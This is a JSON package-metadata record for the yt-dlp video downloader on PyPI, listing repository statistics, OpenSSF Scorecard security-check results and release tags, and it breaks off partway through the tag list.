{"id":1082552,"name":"yt-dlp","ecosystem":"pypi","description":"A feature-rich command-line audio/video downloader","homepage":null,"licenses":"Unlicense","normalized_licenses":["Unlicense"],"repository_url":"https://github.com/yt-dlp/yt-dlp","keywords_array":["cli","downloader","sponsorblock","youtube-dl","youtube-downloader","yt-dlp"],"namespace":null,"versions_count":645,"first_release_published_at":"2021-01-15T18:36:24.000Z","latest_release_published_at":"2026-10-21T21:54:50.000Z","latest_release_number":"2026.10.21","latest_published_release_number":"2026.10.23.233055.dev0","last_synced_at":"2026-10-24T04:18:09.219Z","created_at":"2022-04-08T10:01:25.584Z","updated_at":"2026-10-25T03:16:15.634Z","registry_url":"https://pypi.org/project/yt-dlp/","install_command":"pip install yt-dlp --index-url https://pypi.org/simple","documentation_url":"https://github.com/yt-dlp/yt-dlp#readme","metadata":{"funding":"https://github.com/yt-dlp/yt-dlp/blob/master/Maintainers.md#maintainers","documentation":"https://github.com/yt-dlp/yt-dlp#readme","classifiers":["Development Status :: 5 - Production/Stable","Environment :: Console","Operating System :: OS Independent","Programming Language :: Python","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: Implementation","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy","Topic :: Multimedia :: Video"],"normalized_name":"yt-dlp","project_status":null},"repo_metadata":{"id":36978237,"uuid":"307260205","full_name":"yt-dlp/yt-dlp","owner":"yt-dlp","description":"A feature-rich command-line audio/video downloader","archived":false,"fork":false,"pushed_at":"2026-10-10T21:15:52.000Z","size":64802,"stargazers_count":199017,"open_issues_count":2722,"forks_count":17372,"subscribers_count":972,"default_branch":"master","last_synced_at":"2026-10-18T08:46:57.367Z","etag":null,"topics":["cli","downloader","python","sponsorblock","youtube-dl","youtube-downloader","yt-dlp"],"latest_commit_sha":null,"homepage":"https://discord.gg/H5MNcFW63r","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"unlicense","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/yt-dlp.png","metadata":{"files":{"readme":"README.md","changelog":"Changelog.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"accessibility":null,"support":"supportedsites.md","governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":"Maintainers.md","copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":null,"patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"custom":["https://github.com/yt-dlp/yt-dlp/blob/master/Maintainers.md#maintainers"]}},"created_at":"2020-10-26T04:22:55.000Z","updated_at":"2026-10-18T08:41:05.000Z","dependencies_parsed_at":"2026-10-11T00:43:49.861Z","dependency_job_id":null,"html_url":"https://github.com/yt-dlp/yt-dlp","commit_stats":{"total_commits":20090,"total_committers":1315,"mean_commits":"15.277566539923955","dds":0.6977600796416128,"last_synced_commit":"0c4e0fbcade0fc92d14c2a6d63e360fe067f6192"},"previous_names":[],"tags_count":140,"template":false,"template_full_name":null,"purl":"pkg:github/yt-dlp/yt-dlp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/yt-dlp","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/sbom","scorecard":{"id":1067801,"data":{"date":"2025-07-07","repo":{"name":"github.com/yt-dlp/yt-dlp","commit":"d57a0b5aa78d59324b037d37492fe86aa4fbf58a"},"scorecard":{"version":"v5.2.1-18-gbb9c347d","commit":"bb9c347dff6349d986baab6578a46d68a5524c62"},"score":7.6,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 15 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#maintained"}},{"name":"Code-Review","score":9,"reason":"Found 25/27 approved changesets -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#cii-best-practices"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#dangerous-workflow"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":9,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/build.yml:181","Warn: jobLevel 'packages' permission set to 'write': .github/workflows/build.yml:182","Info: jobLevel 'contents' permission set to 'read': .github/workflows/build.yml:243","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/build.yml:244","Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql.yml:17","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql.yml:18","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/release-master.yml:28","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release-master.yml:26","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release-nightly.yml:39","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/release-nightly.yml:41","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release.yml:57","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/release.yml:232","Info: jobLevel 'contents' permission set to 'read': .github/workflows/release.yml:230","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release.yml:299","Info: topLevel 'contents' permission set to 'read': .github/workflows/build.yml:91","Warn: no topLevel permission defined: .github/workflows/codeql.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/core.yml:24","Info: topLevel 'contents' permission set to 'read': .github/workflows/download.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/quick-test.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-master.yml:16","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-nightly.yml:6","Info: topLevel 'contents' permission set to 'read': .github/workflows/release.yml:52","Info: topLevel 'contents' permission set to 'read': .github/workflows/signature-tests.yml:14"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#token-permissions"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: The Unlicense: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#vulnerabilities"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#binary-artifacts"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Info: Possibly incomplete results: error parsing shell code: invalid parameter name: .github/workflows/release.yml:385","Info: Possibly incomplete results: error parsing shell code: invalid parameter name: .github/workflows/release.yml:105","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:112: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:149: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:191: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:232: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:248: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:253: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:322: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:339: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:451: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:452: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:484: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:351: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:390: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:403: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:404: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:437: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:505: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:565: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/core.yml:54: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/core.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/core.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/core.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/download.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/download.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/download.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/download.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/download.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/download.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/download.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/download.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/quick-test.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/quick-test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/quick-test.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/quick-test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/quick-test.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/quick-test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/quick-test.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/quick-test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release-master.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release-master.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-master.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release-master.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release-nightly.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release-nightly.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release-nightly.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release-nightly.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-nightly.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release-nightly.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:244: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:247: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:283: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:292: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:303: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:306: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:311: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/release.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/sanitize-comment.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/sanitize-comment.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/signature-tests.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/signature-tests.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/signature-tests.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/yt-dlp/yt-dlp/signature-tests.yml/master?enable=pin","Warn: containerImage not pinned by hash: bundle/docker/static/Dockerfile:1","Warn: pipCommand not pinned by hash: bundle/docker/static/Dockerfile:11","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:269","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:271","Info:   0 out of  48 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   1 containerImage dependencies pinned","Info:   1 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#pinned-dependencies"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":8,"reason":"5 out of the last 5 releases have a total of 5 signed artifacts.","details":["Info: signed release artifact: SHA2-256SUMS.sig: https://github.com/yt-dlp/yt-dlp/releases/tag/2025.06.30","Info: signed release artifact: SHA2-256SUMS.sig: https://github.com/yt-dlp/yt-dlp/releases/tag/2025.06.25","Info: signed release artifact: SHA2-256SUMS.sig: https://github.com/yt-dlp/yt-dlp/releases/tag/2025.06.09","Info: signed release artifact: SHA2-256SUMS.sig: https://github.com/yt-dlp/yt-dlp/releases/tag/2025.05.22","Info: signed release artifact: SHA2-256SUMS.sig: https://github.com/yt-dlp/yt-dlp/releases/tag/2025.04.30","Warn: release artifact 2025.06.30 does not have provenance: https://api.github.com/repos/yt-dlp/yt-dlp/releases/228957508","Warn: release artifact 2025.06.25 does not have provenance: https://api.github.com/repos/yt-dlp/yt-dlp/releases/227863006","Warn: release artifact 2025.06.09 does not have provenance: https://api.github.com/repos/yt-dlp/yt-dlp/releases/224165929","Warn: release artifact 2025.05.22 does not have provenance: https://api.github.com/repos/yt-dlp/yt-dlp/releases/220303523","Warn: release artifact 2025.04.30 does not have provenance: https://api.github.com/repos/yt-dlp/yt-dlp/releases/215902436"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/release-master.yml:32"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#packaging"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (30) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/bb9c347dff6349d986baab6578a46d68a5524c62/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-28T07:32:18.755Z","repository_id":36978237,"created_at":"2025-08-28T07:32:18.763Z","updated_at":"2025-08-28T07:32:18.763Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":344872684,"owners_count":38337635,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-18T02:00:06.448Z","response_time":63,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"yt-dlp","name":"yt-dlp","uuid":"79589310","kind":"organization","description":"","email":"maintainers@yt-dlp.org","website":"https://discord.gg/H5MNcFW63r","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/79589310?v=4","repositories_count":15,"last_synced_at":"2026-10-13T07:39:26.389Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/yt-dlp","funding_links":[],"total_stars":199382,"followers":4542,"following":0,"created_at":"2022-11-02T16:39:35.990Z","updated_at":"2026-10-13T07:39:26.402Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/yt-dlp","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/yt-dlp/repositories"},"tags":[{"name":"2026.08.19","sha":"3a08beaf031ab68f966401ead017ac81fe8486cf","kind":"commit","published_at":"2026-08-19T23:31:25.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2026.08.19","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2026.08.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2026.08.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.08.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.08.19/manifests"},{"name":"2026.07.04","sha":"fdec00e0bf530dc6c3cc7b1dd780e95d9ae460e9","kind":"commit","published_at":"2026-07-04T22:23:07.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2026.07.04","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2026.07.04","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.07.04","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.07.04/manifests"},{"name":"2026.06.09","sha":"7f7bdc974dc61d941d1a0d51c4e21a0fdb7b2d06","kind":"commit","published_at":"2026-06-09T23:08:31.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2026.06.09","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2026.06.09","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.06.09","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.06.09/manifests"},{"name":"2026.03.17","sha":"7fd74d10097833ebce0cb162e0ccf7825de9b768","kind":"commit","published_at":"2026-03-17T23:25:11.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2026.03.17","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2026.03.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2026.03.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.03.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.03.17/manifests"},{"name":"2026.03.13","sha":"990fdf36dd985403cb171e4b92d1d7f01a4e273d","kind":"commit","published_at":"2026-03-13T08:45:00.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2026.03.13","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2026.03.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2026.03.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.03.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.03.13/manifests"},{"name":"2026.03.03","sha":"b8058cdf378cbbf60669b665dea146fb7dc90117","kind":"commit","published_at":"2026-03-03T16:36:58.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2026.03.03","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2026.03.03","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2026.03.03","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.03.03","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.03.03/manifests"},{"name":"2026.02.21","sha":"e2a9cc7d137c88843e064bc9ea11cdca5cd4c82a","kind":"commit","published_at":"2026-02-21T20:22:26.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2026.02.21","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2026.02.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2026.02.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.02.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.02.21/manifests"},{"name":"2026.02.04","sha":"bb3af7e6d5373c1a9c11bd5db9a6ebbbdfe55a98","kind":"commit","published_at":"2026-02-04T00:31:48.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2026.02.04","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2026.02.04","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2026.02.04","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.02.04","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.02.04/manifests"},{"name":"2026.01.31","sha":"891613b098b2b315d983c2ae16901f5de344ca56","kind":"commit","published_at":"2026-01-31T23:52:50.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2026.01.31","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2026.01.31","dependencies_parsed_at"